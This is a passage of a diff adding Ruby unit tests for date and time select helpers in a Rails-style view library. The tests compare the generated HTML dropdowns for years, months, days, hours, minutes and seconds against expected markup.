+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(nil, :prefix => "date[first]")
+  end
+
+  def test_select_datetime_with_html_options
+    expected =  %(<select id="date_first_year" name="date[first][year]" class="selector">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]" class="selector">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]" class="selector">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]" class="selector">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]" class="selector">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]"}, :class => 'selector')
+  end
+
+  def test_select_datetime_with_all_separators
+    expected =  %(<select id="date_first_year" name="date[first][year]" class="selector">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << "/"
+
+    expected << %(<select id="date_first_month" name="date[first][month]" class="selector">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << "/"
+
+    expected << %(<select id="date_first_day" name="date[first][day]" class="selector">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    expected << "&mdash;"
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]" class="selector">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << ":"
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]" class="selector">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), { :datetime_separator => "&mdash;", :date_separator => "/", :time_separator => ":", :start_year => 2003, :end_year => 2005, :prefix => "date[first]"}, :class => 'selector')
+  end
+
+  def test_select_datetime_should_work_with_date
+    assert_nothing_raised { select_datetime(Date.today) }
+  end
+
+  def test_select_time
+    expected = %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18))
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => false)
+  end
+
+  def test_select_time_with_separator
+    expected = %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :time_separator => ' : ')
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :time_separator => ' : ', :include_seconds => false)
+  end
+
+  def test_select_time_with_seconds
+    expected = %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_second" name="date[second]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => true)
+  end
+
+  def test_select_time_with_seconds_and_separator
+    expected = %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_second" name="date[second]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => true, :time_separator => ' : ')
+  end
+
+  def test_select_time_with_html_options
+    expected = %(<select id="date_hour" name="date[hour]" class="selector">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_minute" name="date[minute]" class="selector">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector')
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {:include_seconds => false}, :class => 'selector')
+  end
+
+  def test_select_time_should_work_with_date
+    assert_nothing_raised { select_time(Date.today) }
+  end
+
+  def test_date_select
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on")
+  end
+
+  def test_date_select_without_day
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
+
+    expected <<  %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :order => [ :month, :year ])
+  end
+
+  def test_date_select_within_fields_for
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    fields_for :post, @post do |f|
+      concat f.date_select(:written_on)
+    end
+
+    expected = "<select id='post_written_on_1i' name='post[written_on(1i)]'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'>2009</option>\n</select>\n"
